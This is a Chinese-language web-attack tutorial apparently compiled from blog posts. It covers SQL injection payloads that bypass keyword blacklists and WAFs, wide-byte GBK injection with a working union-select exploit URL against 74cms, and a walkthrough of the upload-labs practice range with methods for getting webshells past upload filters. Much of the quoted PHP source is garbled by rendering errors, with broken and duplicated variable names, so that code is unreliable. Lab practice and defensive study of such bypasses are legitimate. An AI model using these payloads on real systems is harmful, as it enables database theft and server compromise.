黑名单绕过、各种数据库查询、宽字符注入、brup截断文件上传靶机

  1. PHP+Mysql注入防护与绕过
    黑名单关键字过滤与绕过
    过滤关键字and、or
    PHP匹配函数代码如下:

preg_match(’/(and|or)/i’, $id)

如何Bypass,过滤注入测试语句:

1 or 1 = 1 1 and 1 = 1

测试方法可以替换为如下语句测试:

1 || 1 = 1 1 && 1 = 1

过滤关键字and, or, union
PHP匹配函数代码如下:

preg_match(’/(and|or|union)/i’, $id)

如何Bypass,过滤注入测试语句:

union select user, password from users

测试方法可以替换为如下语句测试:

1 || (select user from users where user_id = 1) = ‘admin’

过滤关键字and, or, union,where
PHP匹配函数代码如下:

preg_match(’/(and|or|union|where)/i’, $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users where user_id = 1) = ‘admin’

测试方法可以替换为如下语句测试:

1 || (select user from users limit 1) = ‘admin’

过滤关键字and, or, union,where,limit
PHP匹配函数代码如下:

preg_match(’/(and|or|union|where|limit)/i’, $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users limit 1) = ‘admin’

测试方法可以替换为如下语句测试:

1 || (select user from users group by user_id having user_id = 1) = ‘admin’

过滤关键字and, or, union,where,limit,group by
PHP匹配函数代码如下:

preg_match(’/(and|or|union|where|limit|group by)/i’, $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users group by user_id having user_id = 1) = ‘admin’

测试方法可以替换为如下语句测试:

1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

过滤关键字and, or, union,where,limit,group by
PHP匹配函数代码如下:

preg_match(’/(and|or|union|where|limit|group by)/i’, $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users group by user_id having user_id = 1) = ‘admin’

测试方法可以替换为如下语句测试:

1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

过滤关键字and, or, union,where,limit,group by,select
PHP匹配函数代码如下:

preg_match(’/(and|or|union|where|limit|group by|select)/i’, $id)

如何Bypass,过滤注入测试语句:

1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

测试方法可以替换为如下语句测试:

1 || 1 = 1 into outfile ‘result.txt’

1 || substr(user,1,1) = ‘a’

过滤关键字and, or, union,where,limit,group by,select,’
PHP匹配函数代码如下:

preg_match(’/(and|or|union|where|limit|group by|select|’)/i’, $id)

如何Bypass,过滤注入测试语句:

1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

测试方法可以替换为如下语句测试:

1 || user_id is not null

1 || substr(user,1,1) = 0x61

1 || substr(user,1,1) = unhex(61)

过滤关键字and, or, union,where,limit,group by,select,’,hex
PHP匹配函数代码如下:

preg_match(’/(and|or|union|where|limit|group by|select|’|hex)/i’, $id)

如何Bypass,过滤注入测试语句:

1 || substr(user,1,1) = unhex(61)

测试方法可以替换为如下语句测试:

1 || substr(user,1,1) = lower(conv(11,10,36))

过滤关键字and, or, union,where,limit,group by,select,’,hex,substr
PHP匹配函数代码如下:

preg_match(’/(and|or|union|where|limit|group by|select|’|hex|substr)/i’, $id)

如何Bypass,过滤注入测试语句:

1 || substr(user,1,1) = lower(conv(11,10,36))

测试方法可以替换为如下语句测试:

1 || lpad(user,7,1)

过滤关键字and, or, union,where,limit,group by,select,’,hex, substr, white space
PHP匹配函数代码如下:

preg_match(’/(and|or|union|where|limit|group by|select|’|hex|substr|\s)/i’, $id)

如何Bypass,过滤注入测试语句:

1 || lpad(user,7,1)

测试方法可以替换为如下语句测试:

1%0b||%0blpad(user,7,1)

部分WAF绕过技巧
1、绕过部分WAF

/news.php?id=1+un/**/ion+se/**/lect+1,2,3–

2、匹配正则如下:

/union\sselect/g

绕过方式:

/news.php?id=1+UnIoN//SeLecT//1,2,3–

3、过滤一次关键字

/news.php?id=1+UNunionION+SEselectLECT+1,2,3–

4、关键字被过滤,有的时候可以用%0b插入关键字绕过

/news.php?id=1+uni%0bon+se%0blect+1,2,3–

5、对于Mod_rewrite的作用使得/**/不起作用时可以使用%0b代替

替换前:

/main/news/id/1//||//lpad(first_name,7,1).html

替换后:

/main/news/id/1%0b||%0blpad(first_name,7,1).html

6、大多数的CMS和WAF会对用户输入进行解码然后过滤,但有些只解码一次,我们可以对payload进行多次编码然后测试

/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users–

真实的例子
NukeSentinel
Nukesentinel.php的代码如下:

针对上面的防护,使用如下测试语句将被拦截:

/php-nuke/?//union//select…

可以使用如下语句代替:

/php-nuke/?/%2A%2A/union/%2A%2A/select…

/php-nuke/?%2f**%2funion%2f**%2fselect…
18. 各种数据库查询基础
黑名单绕过、各种数据库查询、宽字符注入、brup截断文件上传靶机_第1张图片
黑名单绕过、各种数据库查询、宽字符注入、brup截断文件上传靶机_第2张图片
黑名单绕过、各种数据库查询、宽字符注入、brup截断文件上传靶机_第3张图片
黑名单绕过、各种数据库查询、宽字符注入、brup截断文件上传靶机_第4张图片
黑名单绕过、各种数据库查询、宽字符注入、brup截断文件上传靶机_第5张图片
黑名单绕过、各种数据库查询、宽字符注入、brup截断文件上传靶机_第6张图片
黑名单绕过、各种数据库查询、宽字符注入、brup截断文件上传靶机_第7张图片
黑名单绕过、各种数据库查询、宽字符注入、brup截断文件上传靶机_第8张图片
黑名单绕过、各种数据库查询、宽字符注入、brup截断文件上传靶机_第9张图片
5. 宽字符注入详解与实战
宽字节注入源于程序员设置MySQL连接时的错误配置,如下:

set character_set_client=gbk
这样的配置会引发编码转换从而导致绕过某些防护实现注入漏洞。具体分析一下原理:

正常情况下GPC开启或者使用addslashes函数过滤GET或POST提交的参数时,我们测试输入的’,就会被转义为’;

若存在宽字节注入,输入%df%27时,经过单引号的转义变成了%df%5c%27,之后再数据库查询语句进行GBK多字节编码,即一个中文占用两个字节,一个英文同样占用两个字节且在汉字编码范围内两个编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成汉字"運",单引号逃逸出来,从而绕过转义造成注入漏洞。

现在基本都会将mysql的连接配置设置为:

[set character_set_client=binary]
来解决这个问题,这篇博客将介绍php中因为编码或字符编码转换导致的注入问题。

mysql中的宽字符注入
测试搭建学习的环境利用了phithon内容管理系统,看代码

SQL语句是SELECT * FROM news WHERE tid=’{id}’,根据文章的id把文章从news表中提取出来,在sql之前,我们只用了限制函数addslashes函数,对$id进行转义,只要我们输入参数在单引号中,就逃逸不出单引号的限制,从而无法注入。

我们这里利用的是mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字节是一个汉字(前一个ascii码要大于128,才到汉字范围),我们测试输入%df’

已经报错,看到报错,说明sql语句出错,看到出错说明可以注入。报错的原因就是多了一个单引号,而单引号前面的反斜杠不见啦。这就是mysql的特性,因为gbk是多字节编码,它认为两个字节代表一个字符,所以%df和后面的%5c变成了汉字“運”,而’逃逸了出来。

因为是两个字节代表一个汉字,我们尝试%df%df%27

不报错了,因为%df%df组成了汉字"哌",%5c%27不是汉字,仍然是’

mysql如何判断一个字符是不是一个汉字,根据gbk编码,第一个字节的ascii码大于128,基本上就行,若不用%df而用%a1也可以

%a1%5c虽然不是一个汉字,但一定会被mysql认为是一个宽字符,所以就能让后面的%27逃逸出来,构造一个exp,查询管理人员的账号密码。

GB12和GBK的区别
gb2312和gbk都是宽字节家族医院,但是当把数据库编码设置为关闭gb2312时,结果就不能注入

这主要是gb2312编码取值范围的事情,它高位范围0xA10xF7,低位范围是0xA10xFE,\是%5c,是不在低范围中的,即其根本不是gb2312遍吗,故其不会被吃掉。故只要低位的范围中含有0x5c的编码,就可以进行宽字节的注入

利用mysql_real_escape_string解决问题
一些cms把addslashes替换为mysql_real_escape_string来防止宽字节的注入

我们若解决需要做的指定php连接mysql的字符集。我们需要在执行sql语句之前调用一下mysql_set_charset函数,设置当前的字符集为gbk,来避免问题

宽字节注入修复
character_set_client='binary’设置为binary(二进制),只需要在所有的sql语句前指定一下连接的形式为二进制:mysql_query(“SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary”, $conn);,当我们的mysql接受到客户端的数据后,会认为他的编码是character_set_client,然后会将换成character_set_connection的编码,然后在进入具体表和字段后,再转换成字段对应的编码,然后当查询结果产生后,会从表和字段编码,转换成character_set_results编码,返回给客户端。

这个方法避免宽字节的注入还是有效的,但是如果开发者画蛇添足的增加一些东西,会让前期的努力前功尽弃。

iconv造成的严重后果
很多cms会将接收到的数据,调用这样一个函数,转换其编码:iconv(‘utf-8’,‘gbk’,$_GET[‘id’]);,目的一般是避免乱码,特别是搜索框的位置

可以发现,在sql语句执行前,将character_set_client设置成了binary,所以避免宽字节的注入问题。但之后其调用了iconv将已经过滤的参数$id给转换了一下,测试一下

报错说明我们錦被iconv从utf-8转换成gbk后,变成了%e5%5c,而后面的’被addslashes变成了%5c%27,这样组合起来就是%e5%5c%5c%27,两个%5c就是\,正好把反斜杠转义了,导致’逃逸出单引号,产生注入。利用的是将\转移掉。

利用iconv将gbk转换成utf-8,则可以直接用宽字节注入的姿势来。gbk汉字2字节,utf-8汉字是3字节,若把gbk转换成utf-8,则php会每两个字节一转换。所以,如果\’前面的字符是奇数的话,势必会吞掉\,’逃出限制。

总结
gbk编码造成的宽字符注入问题,解决方法是设置character_set_client=binary。

矫正人们对于mysql_real_escape_string的误解,单独调用set name=gbk和mysql_real_escape_string是无法避免宽字符注入问题的。还得调用mysql_set_charset来设置一下字符集。

谨慎使用iconv来转换字符串编码,很容易出现问题。只要我们把前端html/js/css所有编码设置成gbk,mysql/php编码设置成gbk,就不会出现乱码问题。不用画蛇添足地去调用iconv转换编码,造成不必要的麻烦。

代码审计实战
对骑士cms审计时发现在plus/ajax_street.php

在之前配置文件设置的是mysql_query(“SET character_set_connection=” . $dbcharset . “, character_set_results=” . $dbcharset . “, character_set_client=binary”, $this->linkid);,其中利用了iconv函数造成致命的错误,同时分析发现页面将查询结果回显回来,构造一些union的查询语句即可获取数据库的敏感信息

漏洞的利用
测试有几个字段,发现category表一共有9个字段,所以可以构造获取数据库用户和先关信息的exp

然后利用union的查询语句爆出可利用的列为4,8,exp:

http://localhost/74cms/upload/plus/ajax_street.php?act=key&key=-錦’ union select 1,2,3,4,5,6,7,8,9-- -),

然后是爆出数据库和用户名等相关信息

补充
GBK编码中的两个字符是一个汉字,第一个字符需要大于128
黑名单绕过、各种数据库查询、宽字符注入、brup截断文件上传靶机_第10张图片
黑名单绕过、各种数据库查询、宽字符注入、brup截断文件上传靶机_第11张图片
黑名单绕过、各种数据库查询、宽字符注入、brup截断文件上传靶机_第12张图片
3. 文件上传靶机实战(附靶机跟writeup)
upload-labs
一个帮你总结所有类型的上传漏洞的靶场

文件上传靶机下载地址:https://github.com/c0ny1/upload-labs

运行环境
操作系统:推荐windows(除了Pass-19必须在linux下,其余Pass都可以在windows上运行)
php版本:推荐5.2.17(其他版本可能会导致部分Pass无法突破)
php组件:php_gd2,php_exif(部分Pass需要开启这两个组件)
apache:以moudel方式连接
PS:为了节省时间,可下载Windows下集成环境,解压即可运行靶机环境。

总结


实验用小马

绕过方法

Pass-01
源代码:

复制代码
1 function checkFile() {
2 var file = document.getElementsByName(‘upload_file’)[0].value;
3 if (file == null || file == “”) {
4 alert(“请选择要上传的文件!”);
5 return false;
6 }
7 //定义允许上传的文件类型
8 var allow_ext = “.jpg|.png|.gif”;
9 //提取上传文件的类型
10 var ext_name = file.substring(file.lastIndexOf("."));
11 //判断上传文件类型是否允许上传
12 if (allow_ext.indexOf(ext_name + “|”) == -1) {
13 var errMsg = “该文件不允许上传,请上传” + allow_ext + “类型的文件,当前文件类型为:” + ext_name;
14 alert(errMsg);
15 return false;
16 }
17 }
复制代码
1.前端禁用JS,直接上传Webshell

2.把以.php结尾的小马改为以.jpg|.png|.gif结尾,用burpsuite抓包,在把.jpg|.png|.gif改回.php即可上传成功

Pass-02
源代码:

复制代码
1 $is_upload = false;
2 m s g = n u l l ; 3 i f ( i s s e t ( msg = null; 3 if (isset( msg=null;3if(isset(_POST[‘submit’])) {
4 if (file_exists(KaTeX parse error: Expected '}', got 'EOF' at end of input: …5 if ((_FILES[‘upload_file’][‘type’] == ‘image/jpeg’) || ( F I L E S [ ′ u p l o a d f i l e ′ ] [ ′ t y p e ′ ] = = ′ i m a g e / p n g ′ ) ∣ ∣ ( _FILES['upload_file']['type'] == 'image/png') || ( FILES[uploadfile][type]==image/png)(_FILES[‘upload_file’][‘type’] == ‘image/gif’)) {
6 if (move_uploaded_file($_FILES[‘upload_file’][‘tmp_name’], $UPLOAD_ADDR . ‘/’ . $_FILES[‘upload_file’][‘name’])) {
7 $img_path = $UPLOAD_ADDR . $_FILES[‘upload_file’][‘name’];
8 $is_upload = true;
9
10 }
11 } else {
12 $msg = ‘文件类型不正确,请重新上传!’;
13 }
14 } else {
15 $msg = $UPLOAD_ADDR.‘文件夹不存在,请手工创建!’;
16 }
17 }
复制代码
由代码可知,对文件MIME类型进行了验证判断

截断上传数据包,修改Content-Type为image/gif,然后放行数据包

Pass-03
源代码:

复制代码
1 $is_upload = false;
2 m s g = n u l l ; 3 i f ( i s s e t ( msg = null; 3 if (isset( msg=null;3if(isset(_POST[‘submit’])) {
4 if (file_exists($UPLOAD_ADDR)) {
5 $deny_ext = array(’.asp’,’.aspx’,’.php’,’.jsp’);
6 f i l e n a m e = t r i m ( file_name = trim( filename=trim(_FILES[‘upload_file’][‘name’]);
7 f i l e n a m e = d e l d o t ( file_name = deldot( filename=deldot(file_name);//删除文件名末尾的点
8 f i l e e x t = s t r r c h r ( file_ext = strrchr( fileext=strrchr(file_name, ‘.’);
9 f i l e e x t = s t r t o l o w e r ( file_ext = strtolower( fileext=strtolower(file_ext); //转换为小写
10 f i l e e x t = s t r i r e p l a c e ( ′ : : file_ext = str_ireplace(':: fileext=strireplace(::DATA’, ‘’, f i l e e x t ) ; / / 去 除 字 符 串 : : file_ext);//去除字符串:: fileext);//::DATA
11 f i l e e x t = t r i m ( file_ext = trim( fileext=trim(file_ext); //收尾去空
12
13 if(!in_array($file_ext, KaTeX parse error: Expected '}', got 'EOF' at end of input: …_uploaded_file(_FILES[‘upload_file’][‘tmp_name’], $UPLOAD_ADDR. ‘/’ . $_FILES[‘upload_file’][‘name’])) {
15 $img_path = $UPLOAD_ADDR .’/’. $_FILES[‘upload_file’][‘name’];
16 $is_upload = true;
17 }
18 } else {
19 $msg = ‘不允许上传.asp,.aspx,.php,.jsp后缀文件!’;
20 }
21 } else {
22 $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!’;
23 }
24 }
复制代码
1.这里是黑名单验证(’.asp’,’.aspx’,’.php’,’.jsp’),我们可上传php3,php5…等这样可以被服务器解析的后缀名

2.重写文件解析规则绕过。上传先上传一个名为.htaccess文件,内容如下:


SetHandler application/x-httpd-php

如何创建.htaccess结尾的无文件名的文件
一句话木马的制作:https://blog.csdn.net/netuser1937/article/details/53738675/

然后再上传一个1.jpg

执行上传的1.jpg脚本

通过.htaccess文件调用php解析器去解析一个文件名中只要包含"1.jpg"这个字符串的任意文件,

无论扩展名是什么(没有也行),都以php的方式来解析

Pass-04
源代码:

复制代码
1 $is_upload = false;
2 m s g = n u l l ; 3 i f ( i s s e t ( msg = null; 3 if (isset( msg=null;3if(isset(_POST[‘submit’])) {
4 if (file_exists($UPLOAD_ADDR)) {
5 $deny_ext = array(".php",".php5",".php4",".php3",".php2",“php1”,".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",“pHp1”,".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
6 f i l e n a m e = t r i m ( file_name = trim( filename=trim(_FILES[‘upload_file’][‘name’]);
7 f i l e n a m e = d e l d o t ( file_name = deldot( filename=deldot(file_name);//删除文件名末尾的点
8 f i l e e x t = s t r r c h r ( file_ext = strrchr( fileext=strrchr(file_name, ‘.’);
9 f i l e e x t = s t r t o l o w e r ( file_ext = strtolower( fileext=strtolower(file_ext); //转换为小写
10 f i l e e x t = s t r i r e p l a c e ( ′ : : file_ext = str_ireplace(':: fileext=strireplace(::DATA’, ‘’, f i l e e x t ) ; / / 去 除 字 符 串 : : file_ext);//去除字符串:: fileext);//::DATA
11 f i l e e x t = t r i m ( file_ext = trim( fileext=trim(file_ext); //收尾去空
12
13 if (!in_array($file_ext, KaTeX parse error: Expected '}', got 'EOF' at end of input: …_uploaded_file(_FILES[‘upload_file’][‘tmp_name’], $UPLOAD_ADDR . ‘/’ . $_FILES[‘upload_file’][‘name’])) {
15 $img_path = $UPLOAD_ADDR . $_FILES[‘upload_file’][‘name’];
16 $is_upload = true;
17 }
18 } else {
19 $msg = ‘此文件不允许上传!’;
20 }
21 } else {
22 $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!’;
23 }
24 }
复制代码

分析代码发现,这里对上传的后缀名的判断增加了,php3.php5…已经不允许上传,但是没有限制.htaccess文件的上传,所以我们依然可以使用

重写文件解析规则绕过,方法同上题一样,这里不再赘述

Pass-05
源代码:

复制代码
1 $is_upload = false;
2 m s g = n u l l ; 3 i f ( i s s e t ( msg = null; 3 if (isset( msg=null;3if(isset(_POST[‘submit’])) {
4 if (file_exists($UPLOAD_ADDR)) {
5 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
6 f i l e n a m e = t r i m ( file_name = trim( filename=trim(_FILES[‘upload_file’][‘name’]);
7 f i l e n a m e = d e l d o t ( file_name = deldot( filename=deldot(file_name);//删除文件名末尾的点
8 f i l e e x t = s t r r c h r ( file_ext = strrchr( fileext=strrchr(file_name, ‘.’);
9 f i l e e x t = s t r i r e p l a c e ( ′ : : file_ext = str_ireplace(':: fileext=strireplace(::DATA’, ‘’, f i l e e x t ) ; / / 去 除 字 符 串 : : file_ext);//去除字符串:: fileext);//::DATA
10 f i l e e x t = t r i m ( file_ext = trim( fileext=trim(file_ext); //首尾去空
11
12 if (!in_array($file_ext, KaTeX parse error: Expected '}', got 'EOF' at end of input: …_uploaded_file(_FILES[‘upload_file’][‘tmp_name’], $UPLOAD_ADDR . ‘/’ . $_FILES[‘upload_file’][‘name’])) {
14 $img_path = $UPLOAD_ADDR . ‘/’ . $file_name;
15 $is_upload = true;
16 }
17 } else {
18 $msg = ‘此文件不允许上传’;
19 }
20 } else {
21 $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!’;
22 }
23 }
复制代码
分析代码,发现以.htaccess为后缀的文件已经不允许上传,但是 f i l e e x t = s t r t o l o w e r ( file_ext = strtolower( fileext=strtolower(file_ext); //转换为小写 这一句没有了,我们就可以使用文件名后缀大小写混合绕过,把1.php改为1.phP…来上传

Pass-06
源代码:

复制代码
1 $is_upload = false;
2 m s g = n u l l ; 3 i f ( i s s e t ( msg = null; 3 if (isset( msg=null;3if(isset(_POST[‘submit’])) {
4 if (file_exists($UPLOAD_ADDR)) {
5 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
6 f i l e n a m e = t r i m ( file_name = trim( filename=trim(_FILES[‘upload_file’][‘name’]);
7 f i l e n a m e = d e l d o t ( file_name = deldot( filename=deldot(file_name);//删除文件名末尾的点
8 f i l e e x t = s t r r c h r ( file_ext = strrchr( fileext=strrchr(file_name, ‘.’);
9 f i l e e x t = s t r t o l o w e r ( file_ext = strtolower( fileext=strtolower(file_ext); //转换为小写
10 f i l e e x t = s t r i r e p l a c e ( ′ : : file_ext = str_ireplace(':: fileext=strireplace(::DATA’, ‘’, f i l e e x t ) ; / / 去 除 字 符 串 : : file_ext);//去除字符串:: fileext);//::DATA
11
12 if (!in_array($file_ext, KaTeX parse error: Expected '}', got 'EOF' at end of input: …_uploaded_file(_FILES[‘upload_file’][‘tmp_name’], $UPLOAD_ADDR . ‘/’ . $_FILES[‘upload_file’][‘name’])) {
14 $img_path = $UPLOAD_ADDR . ‘/’ . $file_name;
15 $is_upload = true;
16 }
17 } else {
18 $msg = ‘此文件不允许上传’;
19 }
20 } else {
21 $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!’;
22 }
23 }
复制代码
利用Windows系统的文件名特性。文件名最后增加空格和点,写成1.php .,这个需要用burpsuite抓包修改,上传后保存在Windows系统上的文件名最后的一个.会被去掉,实际上保存的文件名就是1.php

果然上传成功

Pass-07
源代码:

复制代码
1 $is_upload = false;
2 m s g = n u l l ; 3 i f ( i s s e t ( msg = null; 3 if (isset( msg=null;3if(isset(_POST[‘submit’])) {
4 if (file_exists($UPLOAD_ADDR)) {
5 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
6 f i l e n a m e = t r i m ( file_name = trim( filename=trim(_FILES[‘upload_file’][‘name’]);
7 f i l e e x t = s t r r c h r ( file_ext = strrchr( fileext=strrchr(file_name, ‘.’);
8 f i l e e x t = s t r t o l o w e r ( file_ext = strtolower( fileext=strtolower(file_ext); //转换为小写
9 f i l e e x t = s t r i r e p l a c e ( ′ : : file_ext = str_ireplace(':: fileext=strireplace(::DATA’, ‘’, f i l e e x t ) ; / / 去 除 字 符 串 : : file_ext);//去除字符串:: fileext);//::DATA
10 f i l e e x t = t r i m ( file_ext = trim( fileext=trim(file_ext); //首尾去空
11
12 if (!in_array($file_ext, KaTeX parse error: Expected '}', got 'EOF' at end of input: …_uploaded_file(_FILES[‘upload_file’][‘tmp_name’], $UPLOAD_ADDR . ‘/’ . $_FILES[‘upload_file’][‘name’])) {
14 $img_path = $UPLOAD_ADDR . ‘/’ . $file_name;
15 $is_upload = true;
16 }
17 } else {
18 $msg = ‘此文件不允许上传’;
19 }
20 } else {
21 $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!’;
22 }
23 }
复制代码
原理同Pass-06,文件名后加点和空格,改成1.php.

Pass-08
源代码:

复制代码
1 $is_upload = false;
2 m s g = n u l l ; 3 i f ( i s s e t ( msg = null; 3 if (isset( msg=null;3if(isset(_POST[‘submit’])) {
4 if (file_exists($UPLOAD_ADDR)) {
5 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
6 f i l e n a m e = t r i m ( file_name = trim( filename=trim(_FILES[‘upload_file’][‘name’]);
7 f i l e n a m e = d e l d o t ( file_name = deldot( filename=deldot(file_name);//删除文件名末尾的点
8 f i l e e x t = s t r r c h r ( file_ext = strrchr( fileext=strrchr(file_name, ‘.’);
9 f i l e e x t = s t r t o l o w e r ( file_ext = strtolower( fileext=strtolower(file_ext); //转换为小写
10 f i l e e x t = t r i m ( file_ext = trim( fileext=trim(file_ext); //首尾去空
11
12 if (!in_array($file_ext, KaTeX parse error: Expected '}', got 'EOF' at end of input: …_uploaded_file(_FILES[‘upload_file’][‘tmp_name’], $UPLOAD_ADDR . ‘/’ . $_FILES[‘upload_file’][‘name’])) {
14 $img_path = $UPLOAD_ADDR . ‘/’ . $file_name;
15 $is_upload = true;
16 }
17 } else {
18 $msg = ‘此文件不允许上传’;
19 }
20 } else {
21 $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!’;
22 }
23 }
复制代码
分析代码,少了 f i l e e x t = s t r i r e p l a c e ( ′ : : file_ext = str_ireplace(':: fileext=strireplace(::DATA’, ‘’, f i l e e x t ) ; / / 去 除 字 符 串 : : file_ext);//去除字符串:: fileext);//::DATA 这一句,我们可以采用Windows文件流特性绕过,文件名改成

1.php::$DATA , 上传成功后保存的文件名其实是1.php

Pass-09
源代码:

复制代码
1 $is_upload = false;
2 m s g = n u l l ; 3 i f ( i s s e t ( msg = null; 3 if (isset( msg=null;3if(isset(_POST[‘submit’])) {
4 if (file_exists($UPLOAD_ADDR)) {
5 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
6 f i l e n a m e = t r i m ( file_name = trim( filename=trim(_FILES[‘upload_file’][‘name’]);
7 f i l e n a m e = d e l d o t ( file_name = deldot( filename=deldot(file_name);//删除文件名末尾的点
8 f i l e e x t = s t r r c h r ( file_ext = strrchr( fileext=strrchr(file_name, ‘.’);
9 f i l e e x t = s t r t o l o w e r ( file_ext = strtolower( fileext=strtolower(file_ext); //转换为小写
10 f i l e e x t = s t r i r e p l a c e ( ′ : : file_ext = str_ireplace(':: fileext=strireplace(::DATA’, ‘’, f i l e e x t ) ; / / 去 除 字 符 串 : : file_ext);//去除字符串:: fileext);//::DATA
11 f i l e e x t = t r i m ( file_ext = trim( fileext=trim(file_ext); //首尾去空
12
13 if (!in_array($file_ext, KaTeX parse error: Expected '}', got 'EOF' at end of input: …_uploaded_file(_FILES[‘upload_file’][‘tmp_name’], $UPLOAD_ADDR . ‘/’ . $_FILES[‘upload_file’][‘name’])) {
15 $img_path = $UPLOAD_ADDR . ‘/’ . $file_name;
16 $is_upload = true;
17 }
18 } else {
19 $msg = ‘此文件不允许上传’;
20 }
21 } else {
22 $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!’;
23 }
24 }
复制代码

原理同Pass-06,上传文件名后加上点+空格+点,改为1.php. .

Pass-10
源代码:

复制代码
1 $is_upload = false;
2 m s g = n u l l ; 3 i f ( i s s e t ( msg = null; 3 if (isset( msg=null;3if(isset(_POST[‘submit’])) {
4 if (file_exists($UPLOAD_ADDR)) {
5 $deny_ext = array(“php”,“php5”,“php4”,“php3”,“php2”,“html”,“htm”,“phtml”,“jsp”,“jspa”,“jspx”,“jsw”,“jsv”,“jspf”,“jtml”,“asp”,“aspx”,“asa”,“asax”,“ascx”,“ashx”,“asmx”,“cer”,“swf”,“htaccess”);
6
7 f i l e n a m e = t r i m ( file_name = trim( filename=trim(_FILES[‘upload_file’][‘name’]);
8 f i l e n a m e = s t r i r e p l a c e ( file_name = str_ireplace( filename=strireplace(deny_ext,"", f i l e n a m e ) ; 9 i f ( m o v e u p l o a d e d f i l e ( file_name); 9 if (move_uploaded_file( filename);9if(moveuploadedfile(_FILES[‘upload_file’][‘tmp_name’], $UPLOAD_ADDR . ‘/’ . $file_name)) {
10 $img_path = U P L O A D A D D R . ′ / ′ . UPLOAD_ADDR . '/' . UPLOADADDR./.file_name;
11 $is_upload = true;
12 }
13 } else {
14 $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!’;
15 }
16 }
复制代码
分析代码,由于 f i l e n a m e = s t r i r e p l a c e ( file_name = str_ireplace( filename=strireplace(deny_ext,"", $file_name); 只对文件后缀名进行一次过滤,这样的话,双写文件名绕过,文件名改成1.pphphp

Pass-11
源代码:

复制代码
1 $is_upload = false;
2 m s g = n u l l ; 3 i f ( i s s e t ( msg = null; 3 if(isset( msg=null;3if(isset(_POST[‘submit’])){
4 $ext_arr = array(‘jpg’,‘png’,‘gif’);
5 f i l e e x t = s u b s t r ( file_ext = substr( fileext=substr(_FILES[‘upload_file’][‘name’],strrpos( F I L E S [ ′ u p l o a d f i l e ′ ] [ ′ n a m e ′ ] , " . " ) + 1 ) ; 6 i f ( i n a r r a y ( _FILES['upload_file']['name'],".")+1); 6 if(in_array( FILES[uploadfile][name],".")+1);6if(inarray(file_ext,$ext_arr)){
7 $temp_file = $_FILES[‘upload_file’][‘tmp_name’];
8 $img_path = G E T [ ′ s a v e p a t h ′ ] . " / " . r a n d ( 10 , 99 ) . d a t e ( " Y m d H i s " ) . " . " . _GET['save_path']."/".rand(10, 99).date("YmdHis").".". GET[savepath]."/".rand(10,99).date("YmdHis").".".file_ext;
9
10 if(move_uploaded_file( t e m p f i l e , temp_file, tempfile,img_path)){
11 $is_upload = true;
12 }
13 else{
